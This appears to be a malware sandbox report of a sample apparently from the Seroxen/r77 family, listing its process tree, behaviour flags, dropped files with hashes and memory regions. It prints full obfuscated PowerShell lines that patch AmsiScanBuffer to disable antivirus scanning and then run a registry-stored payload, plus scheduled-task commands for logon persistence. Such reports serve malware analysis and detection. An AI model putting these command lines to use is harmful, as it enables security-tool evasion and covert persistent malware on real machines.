$_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+'t'+'e'+''+'m'+'.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+''+[Char](111)+'s'+'o'+''+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](78)+'a'+'t'+''+[Char](105)+'v'+'e'+''+'M'+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$gWkPOJLbowswhC=$iPDhujhhTrdyF.GetMethod(''+'G'+''+'e'+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+'r'+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+'ub'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EVcXSdlnAYyjsJNxcPC=tYtDsKqRlRqD @([String])([IntPtr]);$cDaHnqogZhHlULYCMuKiDE=tYtDsKqRlRqD @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ElhSiwfgZqF=$iPDhujhhTrdyF.GetMethod('G'+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+'d'+''+'u'+'l'+[Char](101)+'Handl'+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+'n'+[Char](101)+''+[Char](108)+''+'3'+''+'2'+''+[Char](46)+'d'+'l'+''+[Char](108)+'')));$EemEXhZgyaNCle=$gWkPOJLbowswhC.Invoke($Null,@([Object]$ElhSiwfgZqF,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$BdxzsfBYmxTGPVQSi=$gWkPOJLbowswhC.Invoke($Null,@([Object]$ElhSiwfgZqF,[Object](''+[Char](86)+''+'i'+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$HFQYLRo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EemEXhZgyaNCle,$EVcXSdlnAYyjsJNxcPC).Invoke('ams'+[Char](105)+''+'.'+'d'+[Char](108)+''+[Char](108)+'');$PZSiMfyihJUDkAcBE=$gWkPOJLbowswhC.Invoke($Null,@([Object]$HFQYLRo,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+'n'+[Char](66)+'u'+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$KVdEFoUHaJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BdxzsfBYmxTGPVQSi,$cDaHnqogZhHlULYCMuKiDE).Invoke($PZSiMfyihJUDkAcBE,[uint32]8,4,[ref]$KVdEFoUHaJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PZSiMfyihJUDkAcBE,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BdxzsfBYmxTGPVQSi,$cDaHnqogZhHlULYCMuKiDE).Invoke($PZSiMfyihJUDkAcBE,[uint32]8,0x20,[ref]$KVdEFoUHaJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:MxVxtzvJhQcI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$tKAvvwHvbUDClA,[Parameter(Position=1)][Type]$qoiMRnIGZT)$PoUtRHPpIsS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+'f'+''+[Char](108)+''+[Char](101)+'c'+'t'+''+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'Me'+[Char](109)+''+[Char](111)+'r'+[Char](121)+'Mo'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+''+'T'+'y'+'p'+'e',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+'e'+'al'+'e'+''+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$PoUtRHPpIsS.DefineConstructor('RT'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+'a'+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+','+'H'+''+[Char](105)+''+[Char](100)+'eB'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$tKAvvwHvbUDClA).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+'a'+'n'+'a'+'g'+'e'+''+[Char](100)+'');$PoUtRHPpIsS.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+'k'+'e',''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+'g,'+'N'+''+[Char](101)+'w'+[Char](83)+'lo'+[Char](116)+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$qoiMRnIGZT,$tKAvvwHvbUDClA).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+'e'+''+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $PoUtRHPpIsS.CreateType();}$DsZWmDDlXokbV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.dl'+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+''+'s'+'o'+'f'+''+[Char](116)+''+[Char](46)+''+'W'+'in'+[Char](51)+''+[Char](50)+''+'.'+''+'U'+''+[Char](110)+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$kOMnymMSGEMBJg=$DsZWmDDlXokbV.GetMethod(''+[Char](71)+''+'e'+'tP'+[Char](114)+''+[Char](111)+'c'+[Char](65)+'d'+'d'+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+'i'+''+[Char](99)+''+','+'S'+'t'+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$goCeMiOLoocfDplfVlI=MxVxtzvJhQcI @([String])([IntPtr]);$mnIpxslFurLmezOHovfmbm=MxVxtzvJhQcI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gxfjqhSHSLc=$DsZWmDDlXokbV.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'ul'+[Char](101)+''+'H'+''+[Char](97)+'nd'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+'d'+'l'+'l'+'')));$kepcgLPEiCwgRe=$kOMnymMSGEMBJg.Invoke($Null,@([Object]$gxfjqhSHSLc,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+'b'+[Char](114)+'a'+'r'+''+[Char](121)+'A')));$XSBpTrZhOunFpXbif=$kOMnymMSGEMBJg.Invoke($Null,@([Object]$gxfjqhSHSLc,[Object](''+'V'+''+'i'+'r'+'t'+'u'+'a'+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$jhdhIqO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kepcgLPEiCwgRe,$goCeMiOLoocfDplfVlI).Invoke(''+'a'+''+'m'+'s'+[Char](105)+'.'+'d'+'l'+'l'+'');$hFMtNnMWuBKizqSmX=$kOMnymMSGEMBJg.Invoke($Null,@([Object]$jhdhIqO,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'Bu'+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$vRKuiXsOTo=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XSBpTrZhOunFpXbif,$mnIpxslFurLmezOHovfmbm).Invoke($hFMtNnMWuBKizqSmX,[uint32]8,4,[ref]$vRKuiXsOTo);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hFMtNnMWuBKizqSmX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XSBpTrZhOunFpXbif,$mnIpxslFurLmezOHovfmbm).Invoke($hFMtNnMWuBKizqSmX,[uint32]8,0x20,[ref]$vRKuiXsOTo);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('$'+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\sihost.exesihost.exe2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\Uni.exe"C:\Users\Admin\AppData\Local\Temp\Uni.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵
-
C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\install.exeFilesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
-
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exeFilesize
409KB
MD57417c8c73e614f293152575f46134216
SHA1cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA25600c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
-
C:\Windows\Temp\__PSScriptPolicyTest_nggblubz.5s5.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04Filesize
412B
MD53cfef59c946d9a22dd39dc419cd9466f
SHA1e7150858d0e0751b07aaa8108426fe1a5c70038e
SHA256e2f2081b76387d6f467e7a916a2b4242c188bb4a6d31ab46bcb2d4f7a73748e2
SHA512abb1dd180ba6ac558a77009f2906a82f268fa417d40e8b870c1e6d6fe58b4852fe59113ef691c5b1e8b132339b57a6925bd0c9d2315251245dd4257a4b25e465
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.logFilesize
3KB
MD5676d33d16eff06cd9468943bf1909c9a
SHA105a9d5c521f52406d118a15d0c26b0c426327529
SHA2567fe6f06531f00183f775c390f0f3e90047c291667c316314d949fe568cc9f55d
SHA5129e8915cf93a8f26ff916305b6abf9b4282e6006e6c8aee4232d234554e6badc4a3d2af101c4e0ce6191564f186f3792dbd60a8066095d1f71d1fbab9aaac0435
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD59173051a85833585f394103f7663a006
SHA14efc712015724ffa77c978bda0da95f9f2d5983f
SHA256c3739950abd9c006c936d7143406ea4323a4679ada41e80512c8dbd5920673e2
SHA5126ecf59a8180c71aa9c576c0bd55fe18fd1de5abffabda902780d68a5c3fe4a2534e854f7022c1a1f270ddfcc7526f6556d6ca037c0ebd65fdd6a3100681a1b57
-
memory/588-70-0x0000012D3B400000-0x0000012D3B42B000-memory.dmpFilesize
172KB
-
memory/588-62-0x0000012D3B3D0000-0x0000012D3B3F5000-memory.dmpFilesize
148KB
-
memory/588-63-0x0000012D3B400000-0x0000012D3B42B000-memory.dmpFilesize
172KB
-
memory/588-71-0x00007FF937170000-0x00007FF937180000-memory.dmpFilesize
64KB
-
memory/588-64-0x0000012D3B400000-0x0000012D3B42B000-memory.dmpFilesize
172KB
-
memory/640-86-0x000002143C3D0000-0x000002143C3FB000-memory.dmpFilesize
172KB
-
memory/640-92-0x000002143C3D0000-0x000002143C3FB000-memory.dmpFilesize
172KB
-
memory/640-93-0x00007FF937170000-0x00007FF937180000-memory.dmpFilesize
64KB
-
memory/748-83-0x000002C4B5630000-0x000002C4B565B000-memory.dmpFilesize
172KB
-
memory/748-77-0x000002C4B5630000-0x000002C4B565B000-memory.dmpFilesize
172KB
-
memory/748-84-0x00007FF937170000-0x00007FF937180000-memory.dmpFilesize
64KB
-
memory/908-104-0x00007FF937170000-0x00007FF937180000-memory.dmpFilesize
64KB
-
memory/908-103-0x0000029921A80000-0x0000029921AAB000-memory.dmpFilesize
172KB
-
memory/908-97-0x0000029921A80000-0x0000029921AAB000-memory.dmpFilesize
172KB
-
memory/1008-108-0x000002673B670000-0x000002673B69B000-memory.dmpFilesize
172KB
-
memory/1104-3-0x0000000004D60000-0x0000000004DF2000-memory.dmpFilesize
584KB
-
memory/1104-1-0x00000000003F0000-0x000000000045C000-memory.dmpFilesize
432KB
-
memory/1104-19-0x0000000073EA0000-0x000000007458E000-memory.dmpFilesize
6.9MB
-
memory/1104-0-0x0000000073EAE000-0x0000000073EAF000-memory.dmpFilesize
4KB
-
memory/1104-2-0x0000000005100000-0x00000000055FE000-memory.dmpFilesize
5.0MB
-
memory/1104-6-0x0000000005920000-0x0000000005932000-memory.dmpFilesize
72KB
-
memory/1104-5-0x0000000004CC0000-0x0000000004D26000-memory.dmpFilesize
408KB
-
memory/1104-4-0x0000000073EA0000-0x000000007458E000-memory.dmpFilesize
6.9MB
-
memory/1832-24-0x00000245AC580000-0x00000245AC5A2000-memory.dmpFilesize
136KB
-
memory/1832-46-0x00007FF9770E0000-0x00007FF9772BB000-memory.dmpFilesize
1.9MB
-
memory/1832-27-0x00000245AC730000-0x00000245AC7A6000-memory.dmpFilesize
472KB
-
memory/1832-45-0x00000245AC8B0000-0x00000245AC8DA000-memory.dmpFilesize
168KB
-
memory/1832-47-0x00007FF9764D0000-0x00007FF97657E000-memory.dmpFilesize
696KB
-
memory/2076-720-0x0000000007320000-0x000000000732A000-memory.dmpFilesize
40KB
-
memory/2076-13-0x0000000073EA0000-0x000000007458E000-memory.dmpFilesize
6.9MB
-
memory/2076-12-0x0000000073EA0000-0x000000007458E000-memory.dmpFilesize
6.9MB
-
memory/2076-1313-0x0000000073EA0000-0x000000007458E000-memory.dmpFilesize
6.9MB
-
memory/2076-1312-0x0000000073EA0000-0x000000007458E000-memory.dmpFilesize
6.9MB
-
memory/2076-669-0x0000000006680000-0x00000000066BE000-memory.dmpFilesize
248KB
-
memory/4360-54-0x00007FF9770E0000-0x00007FF9772BB000-memory.dmpFilesize
1.9MB
-
memory/4360-55-0x00007FF9764D0000-0x00007FF97657E000-memory.dmpFilesize
696KB
-
memory/4360-59-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/4360-49-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/4360-51-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/4360-53-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/4360-48-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/4360-50-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB